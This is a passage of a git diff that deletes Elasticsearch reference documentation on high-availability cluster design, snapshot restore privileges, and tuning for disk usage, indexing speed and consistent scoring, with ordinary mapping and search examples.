-required for a <<cluster-health,`green` cluster health status>>. To ensure your
-cluster can report a `green` status, override the default by setting
-<<dynamic-index-settings,`index.number_of_replicas`>> to `0` on every index.
-
-If the node fails, you may need to restore an older copy of any lost indices
-from a <<modules-snapshots,snapshot>>.
-
-Because they are not resilient to any failures, we do not recommend using
-one-node clusters in production.
-
-[[high-availability-cluster-design-two-nodes]]
-==== Two-node clusters
-
-If you have two nodes, we recommend they both be data nodes. You should also
-ensure every shard is stored redundantly on both nodes by setting
-<<dynamic-index-settings,`index.number_of_replicas`>> to `1` on every index.
-This is the default number of replicas but may be overridden by an
-<<index-templates,index template>>. <<dynamic-index-settings,Auto-expand
-replicas>> can also achieve the same thing, but it's not necessary to use this
-feature in such a small cluster.
-
-We recommend you set `node.master: false` on one of your two nodes so that it is
-not <<master-node,master-eligible>>. This means you can be certain which of your
-nodes is the elected master of the cluster. The cluster can tolerate the loss of
-the other master-ineligible node. If you don't set `node.master: false` on one
-node, both nodes are master-eligible. This means both nodes are required for a
-master election. Since the election will fail if either node is unavailable,
-your cluster cannot reliably tolerate the loss of either node.
-
-By default, each node is assigned every role. We recommend you assign both nodes
-all other roles except master eligibility. If one node fails, the other node can
-handle its tasks.
-
-You should avoid sending client requests to just one of your nodes. If you do
-and this node fails, such requests will not receive responses even if the
-remaining node is a healthy cluster on its own. Ideally, you should balance your
-client requests across both nodes. A good way to do this is to specify the
-addresses of both nodes when configuring the client to connect to your cluster.
-Alternatively, you can use a resilient load balancer to balance client requests
-across the nodes in your cluster.
-
-Because it's not resilient to failures, we do not recommend deploying a two-node
-cluster in production.
-
-[[high-availability-cluster-design-two-nodes-plus]]
-==== Two-node clusters with a tiebreaker
-
-Because master elections are majority-based, the two-node cluster described
-above is tolerant to the loss of one of its nodes but not the
-other one. You cannot configure a two-node cluster so that it can tolerate
-the loss of _either_ node because this is theoretically impossible. You might
-expect that if either node fails then {es} can elect the remaining node as the
-master, but it is impossible to tell the difference between the failure of a
-remote node and a mere loss of connectivity between the nodes. If both nodes
-were capable of running independent elections, a loss of connectivity would
-lead to a {wikipedia}/Split-brain_(computing)[split-brain
-problem] and therefore data loss. {es} avoids this and
-protects your data by electing neither node as master until that node can be
-sure that it has the latest cluster state and that there is no other master in
-the cluster. This could result in the cluster having no master until
-connectivity is restored.
-
-You can solve this problem by adding a third node and making all three nodes
-master-eligible. A <<modules-discovery-quorums,master election>> requires only
-two of the three master-eligible nodes. This means the cluster can tolerate the
-loss of any single node. This third node acts as a tiebreaker in cases where the
-two original nodes are disconnected from each other. You can reduce the resource
-requirements of this extra node by making it a <<voting-only-node,dedicated
-voting-only master-eligible node>>, also known as a dedicated tiebreaker.
-Because it has no other roles, a dedicated tiebreaker does not need to be as
-powerful as the other two nodes. It will not perform any searches nor coordinate
-any client requests and cannot be elected as the master of the cluster.
-
-The two original nodes should not be voting-only master-eligible nodes since a
-resilient cluster requires at least three master-eligible nodes, at least two
-of which are not voting-only master-eligible nodes. If two of your three nodes
-are voting-only master-eligible nodes then the elected master must be the third
-node. This node then becomes a single point of failure.
-
-We recommend assigning both non-tiebreaker nodes all other roles. This creates
-redundancy by ensuring any task in the cluster can be handled by either node.
-
-You should not send any client requests to the dedicated tiebreaker node.
-You should also avoid sending client requests to just one of the other two
-nodes. If you do, and this node fails, then any requests will not
-receive responses, even if the remaining nodes form a healthy cluster. Ideally,
-you should balance your client requests across both of the non-tiebreaker
-nodes. You can do this by specifying the address of both nodes
-when configuring your client to connect to your cluster. Alternatively, you can
-use a resilient load balancer to balance client requests across the appropriate
-nodes in your cluster. The {ess-trial}[Elastic Cloud] service
-provides such a load balancer.
-
-A two-node cluster with an additional tiebreaker node is the smallest possible
-cluster that is suitable for production deployments.
-
-[[high-availability-cluster-design-three-nodes]]
-==== Three-node clusters
-
-If you have three nodes, we recommend they all be <<data-node,data
-nodes>> and every index should have at least one replica. Nodes are data nodes
-by default. You may prefer for some indices to have two replicas so that each
-node has a copy of each shard in those indices. You should also configure each
-node to be <<master-node,master-eligible>> so that any two of them can hold a
-master election without needing to communicate with the third node. Nodes are
-master-eligible by default. This cluster will be resilient to the loss of any
-single node.
-
-You should avoid sending client requests to just one of your nodes. If you do,
-and this node fails, then any requests will not receive responses even if the
-remaining two nodes form a healthy cluster. Ideally, you should balance your
-client requests across all three nodes. You can do this by specifying the
-address of multiple nodes when configuring your client to connect to your
-cluster. Alternatively you can use a resilient load balancer to balance client
-requests across your cluster. The {ess-trial}[Elastic Cloud]
-service provides such a load balancer.
-
-[[high-availability-cluster-design-three-plus-nodes]]
-==== Clusters with more than three nodes
-
-Once your cluster grows to more than three nodes, you can start to specialise
-these nodes according to their responsibilities, allowing you to scale their
-resources independently as needed. You can have as many <<data-node,data
-nodes>>, <<ingest,ingest nodes>>, <<ml-node,{ml} nodes>>, etc. as needed to
-support your workload. As your cluster grows larger, we recommend using
-dedicated nodes for each role. This lets you to independently scale resources
-for each task.
-
-However, it is good practice to limit the number of master-eligible nodes in
-the cluster to three. Master nodes do not scale like other node types since
-the cluster always elects just one of them as the master of the cluster. If
-there are too many master-eligible nodes then master elections may take a
-longer time to complete. In larger clusters, we recommend you
-configure some of your nodes as dedicated master-eligible nodes and avoid
-sending any client requests to these dedicated nodes. Your cluster may become
-unstable if the master-eligible nodes are overwhelmed with unnecessary extra
-work that could be handled by one of the other nodes.
-
-You may configure one of your master-eligible nodes to be a
-<<voting-only-node,voting-only node>> so that it can never be elected as the
-master node. For instance, you may have two dedicated master nodes and a third
-node that is both a data node and a voting-only master-eligible node. This
-third voting-only node will act as a tiebreaker in master elections but will
-never become the master itself.
-
-[[high-availability-cluster-design-small-cluster-summary]]
-==== Summary
-
-The cluster will be resilient to the loss of any node as long as:
-
-- The <<cluster-health,cluster health status>> is `green`.
-- There are at least two data nodes. 
-- Every index has at least one replica of each shard, in addition to the 
-  primary.
-- The cluster has at least three master-eligible nodes, as long as at least two
-  of these nodes are not voting-only master-eligible nodes.
-- Clients are configured to send their requests to more than one node or are
-  configured to use a load balancer that balances the requests across an
-  appropriate set of nodes. The {ess-trial}[Elastic Cloud] service provides such
-  a load balancer.
-
-[[high-availability-cluster-design-large-clusters]]
-=== Resilience in larger clusters
-
-It is not unusual for nodes to share some common infrastructure, such as a power
-supply or network router. If so, you should plan for the failure of this
-infrastructure and ensure that such a failure would not affect too many of your
-nodes. It is common practice to group all the nodes sharing some infrastructure
-into _zones_ and to plan for the failure of any whole zone at once.
-
-Your cluster’s zones should all be contained within a single data centre. {es}
-expects its node-to-node connections to be reliable and have low latency and
-high bandwidth. Connections between data centres typically do not meet these
-expectations. Although {es} will behave correctly on an unreliable or slow
-network, it will not necessarily behave optimally. It may take a considerable
-length of time for a cluster to fully recover from a network partition since it
-must resynchronize any missing data and rebalance the cluster once the
-partition heals. If you want your data to be available in multiple data centres,
-deploy a separate cluster in each data centre and use
-<<modules-cross-cluster-search,{ccs}>> or <<xpack-ccr,{ccr}>> to link the
-clusters together. These features are designed to perform well even if the
-cluster-to-cluster connections are less reliable or slower than the network
-within each cluster.
-
-After losing a whole zone's worth of nodes, a properly-designed cluster may be
-functional but running with significantly reduced capacity. You may need
-to provision extra nodes to restore acceptable performance in your
-cluster when handling such a failure.
-
-For resilience against whole-zone failures, it is important that there is a copy
-of each shard in more than one zone, which can be achieved by placing data
-nodes in multiple zones and configuring <<allocation-awareness,shard allocation
-awareness>>. You should also ensure that client requests are sent to nodes in
-more than one zone.
-
-You should consider all node roles and ensure that each role is split
-redundantly across two or more zones. For instance, if you are using
-<<ingest,ingest pipelines>> or {ml}, you should have ingest or {ml} nodes in two
-or more zones. However, the placement of master-eligible nodes requires a little
-more care because a resilient cluster needs at least two of the three
-master-eligible nodes in order to function. The following sections explore the
-options for placing master-eligible nodes across multiple zones.
-
-[[high-availability-cluster-design-two-zones]]
-==== Two-zone clusters
-
-If you have two zones, you should have a different number of
-master-eligible nodes in each zone so that the zone with more nodes will
-contain a majority of them and will be able to survive the loss of the other
-zone. For instance, if you have three master-eligible nodes then you may put
-all of them in one zone or you may put two in one zone and the third in the
-other zone. You should not place an equal number of master-eligible nodes in
-each zone. If you place the same number of master-eligible nodes in each zone,
-neither zone has a majority of its own. Therefore, the cluster may not survive
-the loss of either zone.
-
-[[high-availability-cluster-design-two-zones-plus]]
-==== Two-zone clusters with a tiebreaker
-
-The two-zone deployment described above is tolerant to the loss of one of its
-zones but not to the loss of the other one because master elections are
-majority-based. You cannot configure a two-zone cluster so that it can tolerate
-the loss of _either_ zone because this is theoretically impossible. You might
-expect that if either zone fails then {es} can elect a node from the remaining
-zone as the master but it is impossible to tell the difference between the
-failure of a remote zone and a mere loss of connectivity between the zones. If
-both zones were capable of running independent elections then a loss of
-connectivity would lead to a
-{wikipedia}/Split-brain_(computing)[split-brain problem] and
-therefore data loss. {es} avoids this and protects your data by not electing
-a node from either zone as master until that node can be sure that it has the
-latest cluster state and that there is no other master in the cluster. This may
-mean there is no master at all until connectivity is restored.
-
-You can solve this by placing one master-eligible node in each of your two
-zones and adding a single extra master-eligible node in an independent third
-zone. The extra master-eligible node acts as a tiebreaker in cases
-where the two original zones are disconnected from each other. The extra
-tiebreaker node should be a <<voting-only-node,dedicated voting-only
-master-eligible node>>, also known as a dedicated tiebreaker. A dedicated
-tiebreaker need not be as powerful as the other two nodes since it has no other
-roles and will not perform any searches nor coordinate any client requests nor
-be elected as the master of the cluster.
-
-You should use <<allocation-awareness,shard allocation awareness>> to ensure
-that there is a copy of each shard in each zone. This means either zone remains
-fully available if the other zone fails.
-
-All master-eligible nodes, including voting-only nodes, are on the critical path
-for publishing cluster state updates. Because of this, these nodes require
-reasonably fast persistent storage and a reliable, low-latency network
-connection to the rest of the cluster. If you add a tiebreaker node in a third
-independent zone then you must make sure it has adequate resources and good
-connectivity to the rest of the cluster.
-
-[[high-availability-cluster-design-three-zones]]
-==== Clusters with three or more zones
-
-If you have three zones then you should have one master-eligible node in each
-zone. If you have more than three zones then you should choose three of the
-zones and put a master-eligible node in each of these three zones. This will
-mean that the cluster can still elect a master even if one of the zones fails.
-
-As always, your indices should have at least one replica in case a node fails.
-You should also use <<allocation-awareness,shard allocation awareness>> to
-limit the number of copies of each shard in each zone. For instance, if you have
-an index with one or two replicas configured then allocation awareness will
-ensure that the replicas of the shard are in a different zone from the primary.
-This means that a copy of every shard will still be available if one zone
-fails. The availability of this shard will not be affected by such a
-failure.
-
-[[high-availability-cluster-design-large-cluster-summary]]
-==== Summary
-
-The cluster will be resilient to the loss of any zone as long as:
-
-- The <<cluster-health,cluster health status>> is `green`.
-- There are at least two zones containing data nodes.
-- Every index has at least one replica of each shard, in addition to the 
-  primary.
-- Shard allocation awareness is configured to avoid concentrating all copies of
-  a shard within a single zone.
-- The cluster has at least three master-eligible nodes. At least two of these 
-  nodes are not voting-only master-eligible nodes, and they are spread evenly
-  across at least three zones.
-- Clients are configured to send their requests to nodes in more than one zone
-  or are configured to use a load balancer that balances the requests across an
-  appropriate set of nodes. The {ess-trial}[Elastic Cloud] service provides such
-  a load balancer.
diff --git a/docs/reference/high-availability/restore-cluster-data.asciidoc b/docs/reference/high-availability/restore-cluster-data.asciidoc
deleted file mode 100644
index da58e8c4f3e..00000000000
--- a/docs/reference/high-availability/restore-cluster-data.asciidoc
+++ /dev/null
@@ -1,15 +0,0 @@
-[[restore-cluster-data]]
-=== Restore a cluster's data
-++++
-<titleabbrev>Restore the data</titleabbrev>
-++++
-
-include::../snapshot-restore/index.asciidoc[tag=restore-intro]
-
-[TIP]
-====
-If your cluster has {es} {security-features} enabled, the restore API requires the `manage` cluster privilege. There is no bespoke role for the restore process. This privilege is very permissive and should only
-be granted to users in the "administrator" category. Specifically, it allows
-malicious users to exfiltrate data to a location of their choosing. Automated
-tools should not run as users with this privilege.
-====
diff --git a/docs/reference/how-to.asciidoc b/docs/reference/how-to.asciidoc
deleted file mode 100644
index 8d11b947cc3..00000000000
--- a/docs/reference/how-to.asciidoc
+++ /dev/null
@@ -1,28 +0,0 @@
-[[how-to]]
-= How To
-
-[partintro]
---
-Elasticsearch ships with defaults which are intended to give a good out of
-the box experience. Full text search, highlighting, aggregations, and indexing
-should all just work without the user having to change anything.
-
-Once you better understand how you want to use Elasticsearch, however,
-there are a number of optimizations you can make to improve performance
-for your use case.
-
-This section provides guidance about which changes should and shouldn't be
-made.
---
-
-include::how-to/general.asciidoc[]
-
-include::how-to/recipes.asciidoc[]
-
-include::how-to/indexing-speed.asciidoc[]
-
-include::how-to/search-speed.asciidoc[]
-
-include::how-to/disk-usage.asciidoc[]
-
-include::how-to/size-your-shards.asciidoc[]
\ No newline at end of file
diff --git a/docs/reference/how-to/disk-usage.asciidoc b/docs/reference/how-to/disk-usage.asciidoc
deleted file mode 100644
index cac21e3080f..00000000000
--- a/docs/reference/how-to/disk-usage.asciidoc
+++ /dev/null
@@ -1,194 +0,0 @@
-[[tune-for-disk-usage]]
-== Tune for disk usage
-
-[discrete]
-=== Disable the features you do not need
-
-By default Elasticsearch indexes and adds doc values to most fields so that they
-can be searched and aggregated out of the box. For instance if you have a numeric
-field called `foo` that you need to run histograms on but that you never need to
-filter on, you can safely disable indexing on this field in your
-<<mappings,mappings>>:
-
-[source,console]
---------------------------------------------------
-PUT index
-{
-  "mappings": {
-    "properties": {
-      "foo": {
-        "type": "integer",
-        "index": false
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<<text,`text`>> fields store normalization factors in the index in order to be
-able to score documents. If you only need matching capabilities on a `text`
-field but do not care about the produced scores, you can configure Elasticsearch
-to not write norms to the index:
-
-[source,console]
---------------------------------------------------
-PUT index
-{
-  "mappings": {
-    "properties": {
-      "foo": {
-        "type": "text",
-        "norms": false
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<<text,`text`>> fields also store frequencies and positions in the index by
-default. Frequencies are used to compute scores and positions are used to run
-phrase queries. If you do not need to run phrase queries, you can tell
-Elasticsearch to not index positions:
-
-[source,console]
---------------------------------------------------
-PUT index
-{
-  "mappings": {
-    "properties": {
-      "foo": {
-        "type": "text",
-        "index_options": "freqs"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Furthermore if you do not care about scoring either, you can configure
-Elasticsearch to just index matching documents for every term. You will
-still be able to search on this field, but phrase queries will raise errors
-and scoring will assume that terms appear only once in every document.
-
-[source,console]
---------------------------------------------------
-PUT index
-{
-  "mappings": {
-    "properties": {
-      "foo": {
-        "type": "text",
-        "norms": false,
-        "index_options": "freqs"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-[[default-dynamic-string-mapping]]
-=== Don't use default dynamic string mappings
-
-The default <<dynamic-mapping,dynamic string mappings>> will index string fields
-both as <<text,`text`>> and <<keyword,`keyword`>>. This is wasteful if you only
-need one of them. Typically an `id` field will only need to be indexed as a
-`keyword` while a `body` field will only need to be indexed as a `text` field.
-
-This can be disabled by either configuring explicit mappings on string fields
-or setting up dynamic templates that will map string fields as either `text`
-or `keyword`.
-
-For instance, here is a template that can be used in order to only map string
-fields as `keyword`:
-
-[source,console]
---------------------------------------------------
-PUT index
-{
-  "mappings": {
-    "dynamic_templates": [
-      {
-        "strings": {
-          "match_mapping_type": "string",
-          "mapping": {
-            "type": "keyword"
-          }
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-
-[discrete]
-=== Watch your shard size
-
-Larger shards are going to be more efficient at storing data. To increase the size of your shards, you can decrease the number of primary shards in an index by <<indices-create-index,creating indices>> with fewer primary shards, creating fewer indices (e.g. by leveraging the <<indices-rollover-index,Rollover API>>), or modifying an existing index using the <<indices-shrink-index,Shrink API>>.
-
-Keep in mind that large shard sizes come with drawbacks, such as long full recovery times.
-
-[discrete]
-[[disable-source]]
-=== Disable `_source`
-
-The <<mapping-source-field,`_source`>> field stores the original JSON body of the document. If you don’t need access to it you can disable it. However, APIs that needs access to `_source` such as update and reindex won’t work.
-
-[discrete]
-[[best-compression]]
-=== Use `best_compression`
-
-The `_source` and stored fields can easily take a non negligible amount of disk
-space. They can be compressed more aggressively by using the `best_compression`
-<<index-codec,codec>>.
-
-[discrete]
-=== Force Merge
-
-Indices in Elasticsearch are stored in one or more shards. Each shard is a Lucene index and made up of one or more segments - the actual files on disk. Larger segments are more efficient for storing data.
-
-The <<indices-forcemerge,`_forcemerge` API>> can be used to reduce the number of segments per shard. In many cases, the number of segments can be reduced to one per shard by setting `max_num_segments=1`.
-
-[discrete]
-=== Shrink Index
-
-The <<indices-shrink-index,Shrink API>> allows you to reduce the number of shards in an index. Together with the Force Merge API above, this can significantly reduce the number of shards and segments of an index.
-
-[discrete]
-=== Use the smallest numeric type that is sufficient
-
-The type that you pick for <<number,numeric data>> can have a significant impact
-on disk usage. In particular, integers should be stored using an integer type
-(`byte`, `short`, `integer` or `long`) and floating points should either be
-stored in a `scaled_float` if appropriate or in the smallest type that fits the
-use-case: using `float` over `double`, or `half_float` over `float` will help
-save storage.
-
-[discrete]
-=== Use index sorting to colocate similar documents
-
-When Elasticsearch stores `_source`, it compresses multiple documents at once
-in order to improve the overall compression ratio. For instance it is very
-common that documents share the same field names, and quite common that they
-share some field values, especially on fields that have a low cardinality or
-a {wikipedia}/Zipf%27s_law[zipfian] distribution.
-
-By default documents are compressed together in the order that they are added
-to the index. If you enabled <<index-modules-index-sorting,index sorting>>
-then instead they are compressed in sorted order. Sorting documents with similar
-structure, fields, and values together should improve the compression ratio.
-
-[discrete]
-=== Put fields in the same order in documents
-
-Due to the fact that multiple documents are compressed together into blocks,
-it is more likely to find longer duplicate strings in those `_source` documents
-if fields always occur in the same order.
-
-[discrete]
-[[roll-up-historical-data]]
-=== Roll up historical data
-
-Keeping older data can useful for later analysis but is often avoided due to
-storage costs. You can use data rollups to summarize and store historical data
-at a fraction of the raw data's storage cost. See <<xpack-rollup>>.
diff --git a/docs/reference/how-to/general.asciidoc b/docs/reference/how-to/general.asciidoc
deleted file mode 100644
index 4a9331194d9..00000000000
--- a/docs/reference/how-to/general.asciidoc
+++ /dev/null
@@ -1,42 +0,0 @@
-[[general-recommendations]]
-== General recommendations
-
-[discrete]
-[[large-size]]
-=== Don't return large result sets
-
-Elasticsearch is designed as a search engine, which makes it very good at
-getting back the top documents that match a query. However, it is not as good
-for workloads that fall into the database domain, such as retrieving all
-documents that match a particular query. If you need to do this, make sure to
-use the <<scroll-search-results,Scroll>> API.
-
-[discrete]
-[[maximum-document-size]]
-=== Avoid large documents
-
-Given that the default <<modules-http,`http.max_content_length`>> is set to
-100MB, Elasticsearch will refuse to index any document that is larger than
-that. You might decide to increase that particular setting, but Lucene still
-has a limit of about 2GB.
-
-Even without considering hard limits, large documents are usually not
-practical. Large documents put more stress on network, memory usage and disk,
-even for search requests that do not request the `_source` since Elasticsearch
-needs to fetch the `_id` of the document in all cases, and the cost of getting
-this field is bigger for large documents due to how the filesystem cache works.
-Indexing this document can use an amount of memory that is a multiplier of the
-original size of the document. Proximity search (phrase queries for instance)
-and <<highlighting,highlighting>> also become more expensive
-since their cost directly depends on the size of the original document.
-
-It is sometimes useful to reconsider what the unit of information should be.
-For instance, the fact you want to make books searchable doesn't necessarily
-mean that a document should consist of a whole book. It might be a better idea
-to use chapters or even paragraphs as documents, and then have a property in
-these documents that identifies which book they belong to. This does not only
-avoid the issues with large documents, it also makes the search experience
-better. For instance if a user searches for two words `foo` and `bar`, a match
-across different chapters is probably very poor, while a match within the same
-paragraph is likely good.
-
diff --git a/docs/reference/how-to/indexing-speed.asciidoc b/docs/reference/how-to/indexing-speed.asciidoc
deleted file mode 100644
index 8da7bb199fd..00000000000
--- a/docs/reference/how-to/indexing-speed.asciidoc
+++ /dev/null
@@ -1,147 +0,0 @@
-[[tune-for-indexing-speed]]
-== Tune for indexing speed
-
-[discrete]
-=== Use bulk requests
-
-Bulk requests will yield much better performance than single-document index
-requests. In order to know the optimal size of a bulk request, you should run
-a benchmark on a single node with a single shard. First try to index 100
-documents at once, then 200, then 400, etc. doubling the number of documents
-in a bulk request in every benchmark run. When the indexing speed starts to
-plateau then you know you reached the optimal size of a bulk request for your
-data. In case of tie, it is better to err in the direction of too few rather
-than too many documents. Beware that too large bulk requests might put the
-cluster under memory pressure when many of them are sent concurrently, so
-it is advisable to avoid going beyond a couple tens of megabytes per request
-even if larger requests seem to perform better.
-
-[discrete]
-[[multiple-workers-threads]]
-=== Use multiple workers/threads to send data to Elasticsearch
-
-A single thread sending bulk requests is unlikely to be able to max out the
-indexing capacity of an Elasticsearch cluster. In order to use all resources
-of the cluster, you should send data from multiple threads or processes. In
-addition to making better use of the resources of the cluster, this should
-help reduce the cost of each fsync.
-
-Make sure to watch for `TOO_MANY_REQUESTS (429)` response codes
-(`EsRejectedExecutionException` with the Java client), which is the way that
-Elasticsearch tells you that it cannot keep up with the current indexing rate.
-When it happens, you should pause indexing a bit before trying again, ideally
-with randomized exponential backoff.
-
-Similarly to sizing bulk requests, only testing can tell what the optimal
-number of workers is. This can be tested by progressively increasing the
-number of workers until either I/O or CPU is saturated on the cluster.
-
-[discrete]
-=== Unset or increase the refresh interval
-
-The operation that consists of making changes visible to search - called a
-<<indices-refresh,refresh>> - is costly, and calling it often while there is
-ongoing indexing activity can hurt indexing speed.
-
-include::{es-repo-dir}/indices/refresh.asciidoc[tag=refresh-interval-default]
-This is the optimal configuration if you have no or very little search traffic
-(e.g. less than one search request every 5 minutes) and want to optimize for
-indexing speed. This behavior aims to automatically optimize bulk indexing in
-the default case when no searches are performed. In order to opt out of this
-behavior set the refresh interval explicitly.
-
-On the other hand, if your index experiences regular search requests, this
-default behavior means that Elasticsearch will refresh your index every 1
-second. If you can afford to increase the amount of time between when a document
-gets indexed and when it becomes visible, increasing the
-<<index-refresh-interval-setting,`index.refresh_interval`>> to a larger value, e.g.
-`30s`, might help improve indexing speed.
-
-[discrete]
-=== Disable replicas for initial loads
-
-If you have a large amount of data that you want to load all at once into
-Elasticsearch, it may be beneficial to set `index.number_of_replicas` to `0` in
-order to speed up indexing. Having no replicas means that losing a single node
-may incur data loss, so it is important that the data lives elsewhere so that
-this initial load can be retried in case of an issue. Once the initial load is
-finished, you can set `index.number_of_replicas` back to its original value.
-
-If `index.refresh_interval` is configured in the index settings, it may further
-help to unset it during this initial load and setting it back to its original
-value once the initial load is finished.
-
-[discrete]
-=== Disable swapping
-
-You should make sure that the operating system is not swapping out the java
-process by <<setup-configuration-memory,disabling swapping>>.
-
-[discrete]
-=== Give memory to the filesystem cache
-
-The filesystem cache will be used in order to buffer I/O operations. You should
-make sure to give at least half the memory of the machine running Elasticsearch
-to the filesystem cache.
-
-[discrete]
-=== Use auto-generated ids
-
-When indexing a document that has an explicit id, Elasticsearch needs to check
-whether a document with the same id already exists within the same shard, which
-is a costly operation and gets even more costly as the index grows. By using
-auto-generated ids, Elasticsearch can skip this check, which makes indexing
-faster.
-
-[discrete]
-=== Use faster hardware
-
-If indexing is I/O bound, you should investigate giving more memory to the
-filesystem cache (see above) or buying faster drives. In particular SSD drives
-are known to perform better than spinning disks. Always use local storage,
-remote filesystems such as `NFS` or `SMB` should be avoided. Also beware of
-virtualized storage such as Amazon's `Elastic Block Storage`. Virtualized
-storage works very well with Elasticsearch, and it is appealing since it is so
-fast and simple to set up, but it is also unfortunately inherently slower on an
-ongoing basis when compared to dedicated local storage. If you put an index on
-`EBS`, be sure to use provisioned IOPS otherwise operations could be quickly
-throttled.
-
-Stripe your index across multiple SSDs by configuring a RAID 0 array. Remember
-that it will increase the risk of failure since the failure of any one SSD
-destroys the index. However this is typically the right tradeoff to make:
-optimize single shards for maximum performance, and then add replicas across
-different nodes so there's redundancy for any node failures. You can also use
-<<modules-snapshots,snapshot and restore>> to backup the index for further
-insurance.
-
-[discrete]
-=== Indexing buffer size
-
-If your node is doing only heavy indexing, be sure
-<<indexing-buffer,`indices.memory.index_buffer_size`>> is large enough to give
-at most 512 MB indexing buffer per shard doing heavy indexing (beyond that
-indexing performance does not typically improve). Elasticsearch takes that
-setting (a percentage of the java heap or an absolute byte-size), and
-uses it as a shared buffer across all active shards. Very active shards will
-naturally use this buffer more than shards that are performing lightweight
-indexing.
-
-The default is `10%` which is often plenty: for example, if you give the JVM
-10GB of memory, it will give 1GB to the index buffer, which is enough to host
-two shards that are heavily indexing.
-
-[discrete]
-=== Use {ccr} to prevent searching from stealing resources from indexing
-
-Within a single cluster, indexing and searching can compete for resources. By
-setting up two clusters, configuring <<xpack-ccr,{ccr}>> to replicate data from
-one cluster to the other one, and routing all searches to the cluster that has
-the follower indices, search activity will no longer steal resources from
-indexing on the cluster that hosts the leader indices.
-
-[discrete]
-=== Additional optimizations
-
-Many of the strategies outlined in <<tune-for-disk-usage>> also
-provide an improvement in the speed of indexing.
diff --git a/docs/reference/how-to/recipes.asciidoc b/docs/reference/how-to/recipes.asciidoc
deleted file mode 100644
index b46f624aef5..00000000000
--- a/docs/reference/how-to/recipes.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[[recipes]]
-== Recipes
-
-This section includes a few recipes to help with common problems:
-
-* <<mixing-exact-search-with-stemming,Mixing exact search with stemming>>
-* <<consistent-scoring,Getting consistent scores>>
-* <<static-scoring-signals,Incorporating static relevance signals into the score>>
-
-include::recipes/stemming.asciidoc[]
-include::recipes/scoring.asciidoc[]
diff --git a/docs/reference/how-to/recipes/scoring.asciidoc b/docs/reference/how-to/recipes/scoring.asciidoc
deleted file mode 100644
index 47a3622aabf..00000000000
--- a/docs/reference/how-to/recipes/scoring.asciidoc
+++ /dev/null
@@ -1,199 +0,0 @@
-[[consistent-scoring]]
-=== Getting consistent scoring
-
-The fact that Elasticsearch operates with shards and replicas adds challenges
-when it comes to having good scoring.
-
-[discrete]
-==== Scores are not reproducible
-
-Say the same user runs the same request twice in a row and documents do not come
-back in the same order both times, this is a pretty bad experience isn't it?
-Unfortunately this is something that can happen if you have replicas
-(`index.number_of_replicas` is greater than 0). The reason is that Elasticsearch
-selects the shards that the query should go to in a round-robin fashion, so it
-is quite likely if you run the same query twice in a row that it will go to
-different copies of the same shard.
-
-Now why is it a problem? Index statistics are an important part of the score.
-And these index statistics may be different across copies of the same shard
-due to deleted documents. As you may know when documents are deleted or updated,
-the old document is not immediately removed from the index, it is just marked
-as deleted and it will only be removed from disk on the next time that the
-segment this old document belongs to is merged. However for practical reasons,
-those deleted documents are taken into account for index statistics. So imagine
-that the primary shard just finished a large merge that removed lots of deleted
-documents, then it might have index statistics that are sufficiently different
-from the replica (which still have plenty of deleted documents) so that scores
-are different too.
-
-The recommended way to work around this issue is to use a string that identifies
-the user that is logged in (a user id or session id for instance) as a
-<<search-preference,preference>>. This ensures that all queries of a
-given user are always going to hit the same shards, so scores remain more
-consistent across queries.
-
-This work around has another benefit: when two documents have the same score,
-they will be sorted by their internal Lucene doc id (which is unrelated to the
-`_id`) by default. However these doc ids could be different across copies of
-the same shard. So by always hitting the same shard, we would get more
-consistent ordering of documents that have the same scores.
-
-[discrete]
-==== Relevancy looks wrong
-
-If you notice that two documents with the same content get different scores or
-that an exact match is not ranked first, then the issue might be related to
-sharding. By default, Elasticsearch makes each shard responsible for producing
-its own scores. However since index statistics are an important contributor to
-the scores, this only works well if shards have similar index statistics. The
-assumption is that since documents are routed evenly to shards by default, then
-index statistics should be very similar and scoring would work as expected.
-However in the event that you either:
-
- - use routing at index time,
- - query multiple _indices_,
- - or have too little data in your index
-
-then there are good chances that all shards that are involved in the search
-request do not have similar index statistics and relevancy could be bad.
-
-If you have a small dataset, the easiest way to work around this issue is to
-index everything into an index that has a single shard
-(`index.number_of_shards: 1`), which is the default. Then index statistics
-will be the same for all documents and scores will be consistent.
-
-Otherwise the recommended way to work around this issue is to use the
-<<dfs-query-then-fetch,`dfs_query_then_fetch`>> search type. This will make
-Elasticsearch perform an initial round trip to all involved shards, asking
-them for their index statistics relatively to the query, then the coordinating
-node will merge those statistics and send the merged statistics alongside the
-request when asking shards to perform the `query` phase, so that shards can
-use these global statistics rather than their own statistics in order to do the
-scoring.
-
-In most cases, this additional round trip should be very cheap. However in the
-event that your query contains a very large number of fields/terms or fuzzy
-queries, beware that gathering statistics alone might not be cheap since all
-terms have to be looked up in the terms dictionaries in order to look up
-statistics.
-
-[[static-scoring-signals]]
-=== Incorporating static relevance signals into the score
-
-Many domains have static signals that are known to be correlated with relevance.
-For instance {wikipedia}/PageRank[PageRank] and url length are
-two commonly used features for web search in order to tune the score of web
-pages independently of the query.
-
-There are two main queries that allow combining static score contributions with
-textual relevance, eg. as computed with BM25:
- - <<query-dsl-script-score-query,`script_score` query>>
- - <<query-dsl-rank-feature-query,`rank_feature` query>>
-
-For instance imagine that you have a `pagerank` field that you wish to
-combine with the BM25 score so that the final score is equal to
-`score = bm25_score + pagerank / (10 + pagerank)`.
-
-With the <<query-dsl-script-score-query,`script_score` query>> the query would
-look like this:
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT index
-{
-  "mappings": {
-    "properties": {
-      "body": {
-        "type": "text"
-      },
-      "pagerank": {
-        "type": "long"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-GET index/_search
-{
-  "query": {
-    "script_score": {
-      "query": {
-        "match": { "body": "elasticsearch" }
-      },
-      "script": {
-        "source": "_score * saturation(doc['pagerank'].value, 10)" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-//TEST[continued]
-
-<1> `pagerank` must be mapped as a <<number>>
-
-while with the <<query-dsl-rank-feature-query,`rank_feature` query>> it would
-look like below:
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT index
-{
-  "mappings": {
-    "properties": {
-      "body": {
-        "type": "text"
-      },
-      "pagerank": {
-        "type": "rank_feature"
-      }
-    }
-  }
-}
